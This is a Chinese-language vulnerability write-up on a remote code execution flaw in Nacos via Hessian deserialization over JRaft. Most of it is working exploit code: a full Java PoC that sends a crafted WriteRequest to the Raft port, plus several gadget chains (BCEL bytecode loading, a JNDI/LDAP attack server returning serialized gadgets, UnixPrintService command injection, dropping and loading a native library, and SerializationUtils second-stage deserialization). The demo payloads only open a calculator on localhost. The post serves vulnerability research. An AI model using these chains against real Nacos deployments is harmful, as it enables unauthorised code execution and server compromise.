Nacos JRaft Hessian 反序列化 RCE 分析
首发于知识星球
https://t.zsxq.com/0f5hOnVRN
https://t.zsxq.com/0fHZ1ruZC
参考链接
https://github.com/alibaba/nacos/releases/tag/2.2.3
https://github.com/alibaba/nacos/pull/10542/commits
https://www.sofastack.tech/projects/sofa-jraft/jraft-user-guide/
https://www.cnblogs.com/kingbridge/articles/16717030.html
http://www.bmth666.cn/bmth_blog/2023/02/07/0CTF-TCTF-2022-hessian-onlyJdk
https://xz.aliyun.com/t/11732
PoC 源码
https://github.com/X1r0z/Nacos-Hessian-RCE
原理分析
https://y4er.com/posts/nacos-hessian-rce/
写得很清楚了, 这里不多赘述
poc 大致如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
|
package com.example;
import com.alibaba.nacos.consistency.entity.WriteRequest;
import com.alipay.sofa.jraft.CliService;
import com.alipay.sofa.jraft.RaftServiceFactory;
import com.alipay.sofa.jraft.RouteTable;
import com.alipay.sofa.jraft.conf.Configuration;
import com.alipay.sofa.jraft.entity.PeerId;
import com.alipay.sofa.jraft.option.CliOptions;
import com.alipay.sofa.jraft.rpc.impl.MarshallerHelper;
import com.alipay.sofa.jraft.rpc.impl.cli.CliClientServiceImpl;
import com.google.protobuf.ByteString;
import com.google.protobuf.Message;
import sun.swing.SwingLazyValue;
import javax.swing.*;
import java.lang.reflect.Field;
import java.util.*;
import java.util.concurrent.ConcurrentHashMap;
public class Demo {
public static void main(String[] args) throws Exception {
RouteTable rt = RouteTable.getInstance();
Configuration conf = new Configuration();
// 目标 nacos Raft Server
PeerId peerId = new PeerId();
peerId.parse("127.0.0.1:7848");
String groupId = "naming_persistent_service_v2";
conf.addPeer(peerId);
// 初始化 CliService 和 CliClientService 客户端
CliService cliService = RaftServiceFactory.createAndInitCliService(new CliOptions());
CliClientServiceImpl cliClientService = new CliClientServiceImpl();
cliClientService.init(new CliOptions());
// 刷新路由表
rt.updateConfiguration(groupId, conf);
rt.refreshLeader(cliClientService, groupId, 10000).isOk();
Field parserClassesField = cliClientService.getRpcClient().getClass().getDeclaredField("parserClasses");
parserClassesField.setAccessible(true);
ConcurrentHashMap parserClasses = (ConcurrentHashMap) parserClassesField.get(cliClientService.getRpcClient());
parserClasses.put("com.alibaba.nacos.consistency.entity.WriteRequest", WriteRequest.getDefaultInstance());
Field messagesField = MarshallerHelper.class.getDeclaredField("messages");
messagesField.setAccessible(true);
Map<String, Message> messages = (Map<String, Message>) messagesField.get(MarshallerHelper.class);
messages.put("com.alibaba.nacos.consistency.entity.WriteRequest", WriteRequest.getDefaultInstance());
// ldap JNDI 注入
SwingLazyValue swingLazyValue = new SwingLazyValue("javax.naming.InitialContext","doLookup",new String[]{"ldap://127.0.0.1:1389/"});
UIDefaults u1 = new UIDefaults();
UIDefaults u2 = new UIDefaults();
u1.put("aaa", swingLazyValue);
u2.put("aaa", swingLazyValue);
HashMap map = HashColl.makeMap(u1, u2);
byte[] payload = Serialization.hessian2Serialize(map);
WriteRequest writeRequest = WriteRequest.newBuilder().setGroup(groupId).setData(ByteString.copyFrom(payload)).build();
cliClientService.getRpcClient().invokeSync(peerId.getEndpoint(), writeRequest, 10000);
}
}
|
注意 SwingLazyValue 只能调用 rt.jar 里的静态方法 / 构造方法, 但是可以通过 SwingLazyValue + MethodUtil 绕过限制, 从而调用第三方依赖的静态方法
漏洞的后半部分其实跟去年 0ctf/tctf 2022 的 hessian-onlyJdk 类似, 部分利用链也能够使用
最后 Nacos 使用的 sofa-hessian 虽然维护了一份反序列化的黑名单, 但是这并不影响 SwingLazyValue / MethodUtil 去调用某个黑名单类的静态方法
https://github.com/sofastack/sofa-hessian/blob/master/src/main/resources/security/serialize.blacklist
BCEL ClassLoader
一个很经典的思路就是利用 BCEL ClassLoader 加载字节码
1
2
3
4
5
6
7
8
9
10
11
|
JavaClass clazz = Repository.lookupClass(Evil.class);
String payload = "$$BCEL$$" + Utility.encode(clazz.getBytes(), true);
SwingLazyValue swingLazyValue = new SwingLazyValue("com.sun.org.apache.bcel.internal.util.JavaWrapper","_main",new Object[]{new String[]{payload}});
UIDefaults u1 = new UIDefaults();
UIDefaults u2 = new UIDefaults();
u1.put("aaa", swingLazyValue);
u2.put("aaa", swingLazyValue);
HashMap map = HashColl.makeMap(u1, u2);
|
Evil class
1
2
3
4
5
6
7
8
9
|
public class Evil {
public static void _main(String[] args){
try {
Runtime.getRuntime().exec("open -a Calculator");
} catch (Exception e) {
}
}
}
|
但是由于众所周知的原因 BCEL ClassLoader 在 8u251 之后被移除了, 利用面较小
https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html
JNDI LDAP 反序列化 + POJONode 触发 TemplatesImpl
后面研究出的方法, 首先低版本 JDK 可以直接 JNDI 加载字节码 RCE, 而高版本虽然不能直接加载, 但是可以走 LDAP 原生反序列化的流程
因为 Nacos 基于 SpringBoot 开发, 自然也就有 Jackson 依赖, 结合之前 Aliyun CTF 的知识点, 可以利用 POJONode 触发 TemplatesImpl getter 实现 RCE
1
2
3
4
5
6
7
8
|
SwingLazyValue swingLazyValue = new SwingLazyValue("javax.naming.InitialContext","doLookup",new String[]{"ldap://127.0.0.1:1389/"});
UIDefaults u1 = new UIDefaults();
UIDefaults u2 = new UIDefaults();
u1.put("aaa", swingLazyValue);
u2.put("aaa", swingLazyValue);
HashMap map = HashColl.makeMap(u1, u2);
|
原生反序列化部分
1
2
3
4
5
6
7
8
9
10
11
12
13
|
TemplatesImpl templatesImpl = new TemplatesImpl();
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(TemplatesEvilClass.class.getName());
Reflection.setFieldValue(templatesImpl, "_name", "Hello");
Reflection.setFieldValue(templatesImpl, "_bytecodes", new byte[][]{clazz.toBytecode()});
Reflection.setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
POJONode pojoNode = new POJONode(templatesImpl);
BadAttributeValueExpException poc = new BadAttributeValueExpException(null);
Reflection.setFieldValue(poc, "val", pojoNode);
System.out.println(Base64.getEncoder().encodeToString(Serialization.serialize(poc)));
|
LDAP Server
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
|
package com.example;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;
public class LDAPServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main (String[] args) {
String url = "http://127.0.0.1:8000/#Calc";
int port = 1389;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult (InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
// Payload1: 利用 LDAP + Reference Factory
// URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
// System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
// e.addAttribute("javaCodeBase", cbstring);
// e.addAttribute("objectClass", "javaNamingReference");
// e.addAttribute("javaFactory", this.codebase.getRef());
// Payload2: 返回序列化 Gadget
System.out.println("Send LDAP Serialized Data");
try {
e.addAttribute("javaSerializedData", Base64.decode("<SERIALIZED DATA>"));
} catch (ParseException exception) {
exception.printStackTrace();
}
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
|
当然这种方式必须得出网, 而 Nacos 更多是在内网中使用的, 可能会不出网 ?
POJONode 触发 UnixPrintService
参考之前 Dubbo 的 CVE-2022-39198
https://xz.aliyun.com/t/11961
https://yml-sec.top/2022/12/30/从cve-2022-39198到春秋杯dubboapp/
利用 POJONode 触发 UnixPrintService getter 实现 RCE
通过 MethodUtil 调用 String#valueOf
从而间接调用 POJONode#toString
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
Constructor constructor = UnixPrintService.class.getDeclaredConstructor(String.class);
constructor.setAccessible(true);
UnixPrintService unixPrintService = (UnixPrintService) constructor.newInstance(";open -a Calculator");
POJONode pojoNode = new POJONode(unixPrintService);
Method invoke = MethodUtil.class.getDeclaredMethod("invoke", Method.class, Object.class, Object[].class);
Method exec = String.class.getDeclaredMethod("valueOf", Object.class);
SwingLazyValue swingLazyValue = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invoke, new Object(), new Object[]{exec, new String("123"), new Object[]{pojoNode}}});
UIDefaults u1 = new UIDefaults();
UIDefaults u2 = new UIDefaults();
u1.put("aaa", swingLazyValue);
u2.put("aaa", swingLazyValue);
HashMap map = HashColl.makeMap(u1, u2);
|
这种方式的优点就是不出网, 但缺点是只能执行命令, 不能加载字节码
当然也可以 base64 + echo 写一个 Java Agent jar 包然后注入内存马, 或者在目标服务器上起一个 LDAP Server 进行二次利用, 不过比较麻烦
JavaUtils.writeBytesToFilename + System.load
@Y4er 的文章里提到了 hessian 原生内置的黑名单
经过实际测试, 确实会拦截 Runtime 实例
但是并没有拦截 SwingLazyValue 调用 java.lang.System#setProperty
后来想通过修改 com.sun.jndi.ldap.object.trustURLCodebase
来实现高版本 JNDI 注入直接加载字节码的效果, 但是并没有成功
调试了一会发现 VersionHelper12 中的 trustURLcodebase 属性在 Nacos 启动的时候就已经设置好了, 导致后面即使通过 System#setProperty
修改也没有用
但是毕竟 System 可以直接调用, 所以可以先找一个写文件的 gadget, 然后调用 System#load
方法加载系统库文件来实现 RCE
根据参考文章可以找到 JavaUtils#writeBytesToFilename
, 之后构造 payload 就行了
exp.c
1
2
3
4
5
6
|
#include <stdlib.h>
#include <stdio.h>
void __attribute__ ((__constructor__)) calc (){
system("open -a Calculator");
}
|
编译 (MacOS)
1
|
gcc -c exp.c -o exp && gcc exp --shared -o exp.dylib
|
payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
byte[] content = Files.readAllBytes(Paths.get("/Users/exp10it/exp.dylib"));
SwingLazyValue swingLazyValue1 = new SwingLazyValue("com.sun.org.apache.xml.internal.security.utils.JavaUtils", "writeBytesToFilename", new Object[]{"/tmp/exp.dylib", content});
SwingLazyValue swingLazyValue2 = new SwingLazyValue("java.lang.System", "load", new Object[]{"/tmp/exp.dylib"});
UIDefaults u1 = new UIDefaults();
UIDefaults u2 = new UIDefaults();
u1.put("aaa", swingLazyValue1);
u2.put("aaa", swingLazyValue1);
HashMap map1 = HashColl.makeMap(u1, u2);
UIDefaults u3 = new UIDefaults();
UIDefaults u4 = new UIDefaults();
u3.put("bbb", swingLazyValue2);
u4.put("bbb", swingLazyValue2);
HashMap map2 = HashColl.makeMap(u3, u4);
HashMap map = new HashMap();
map.put(1, map1);
map.put(2, map2);
|
SerializationUtils 二次反序列化 + POJONode 触发 TemplatesImpl
翻了下 ysomap 的代码, 发现了这样一条 bullet
https://github.com/wh1t3p1g/ysomap/blob/10842ca20aaf7955573616521e305db4de3ef895/core/src/main/java/ysomap/bullets/jdk/ProxyLazyValueWithDSBullet.java
spring-core 中存在 SerializationUtils#deserialize
, 可以实现二次反序列化的效果
然后发现 commons-lang 中也存在类似的 SerializationUtils
经测试这两个方法都能够实现 RCE
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
TemplatesImpl templatesImpl = new TemplatesImpl();
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(TemplatesEvilClass.class.getName());
Reflection.setFieldValue(templatesImpl, "_name", "Hello");
Reflection.setFieldValue(templatesImpl, "_bytecodes", new byte[][]{clazz.toBytecode()});
Reflection.setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
POJONode pojoNode = new POJONode(templatesImpl);
BadAttributeValueExpException poc = new BadAttributeValueExpException(null);
Reflection.setFieldValue(poc, "val", pojoNode);
byte[] data = Serialization.serialize(poc);
Method invoke = MethodUtil.class.getDeclaredMethod("invoke", Method.class, Object.class, Object[].class);
Method m = SerializationUtils.class.getDeclaredMethod("deserialize", byte[].class);
SwingLazyValue swingLazyValue = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invoke, new Object(), new Object[]{m, null, new Object[]{data}}});
UIDefaults u1 = new UIDefaults();
UIDefaults u2 = new UIDefaults();
u1.put("aaa", swingLazyValue);
u2.put("aaa", swingLazyValue);
HashMap map = HashColl.makeMap(u1, u2);
|
后来发现如果用 SwingLazyValue + MethodUtils, 有时候 JVM 会直接 crash, 不知道什么情况, 很玄学
于是换成了 ProxyLazyValue, 倒是没有出现 crash
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
TemplatesImpl templatesImpl = new TemplatesImpl();
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(TemplatesEvilClass.class.getName());
Reflection.setFieldValue(templatesImpl, "_name", "Hello");
Reflection.setFieldValue(templatesImpl, "_bytecodes", new byte[][]{clazz.toBytecode()});
Reflection.setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
POJONode pojoNode = new POJONode(templatesImpl);
BadAttributeValueExpException poc = new BadAttributeValueExpException(null);
Reflection.setFieldValue(poc, "val", pojoNode);
byte[] data = Serialization.serialize(poc);
UIDefaults.ProxyLazyValue proxyLazyValue = new UIDefaults.ProxyLazyValue(SerializationUtils.class.getName(), "deserialize", new Object[]{data});
Field accField = UIDefaults.ProxyLazyValue.class.getDeclaredField("acc");
accField.setAccessible(true);
accField.set(proxyLazyValue, null);
UIDefaults u1 = new UIDefaults();
UIDefaults u2 = new UIDefaults();
u1.put("aaa", proxyLazyValue);
u2.put("aaa", proxyLazyValue);
HashMap map = HashColl.makeMap(u1, u2);
|
不过有时候会出现打不了的情况, 但重启之后反而又能弹计算器, 总之很玄学
2024-12-11 更新
参考: https://blog.wanghw.cn/security/hessian-deserialization-jdk-rce-gadget.html
需要注意的是, 这条链存在一条致命缺陷, 在 Method 类中有一个名为 slot 的 int 类型参数, 该参数用于给 JVM 定位该 Method 在类的方法列表的索引, 代码详见. 但是这个 slot 参数并不是固定的, 在每次 JVM 加载类时, 该 slot 将有可能发生变化.
在 Hessian 的流程中, 将会很耿直的直接获取该 slot 值直接序列化与反序列化, 在反序列化利用链触发 invoke 时如果 slot 值异常, JVM 在提取 Method 时就会获取到错误的 Method 对象, 直接进行调用时如果参数的数量或类型错误时将有可能产生异常, 但是 JVM 并没有做对应异常处理, 这将会导致 JVM 直接崩溃.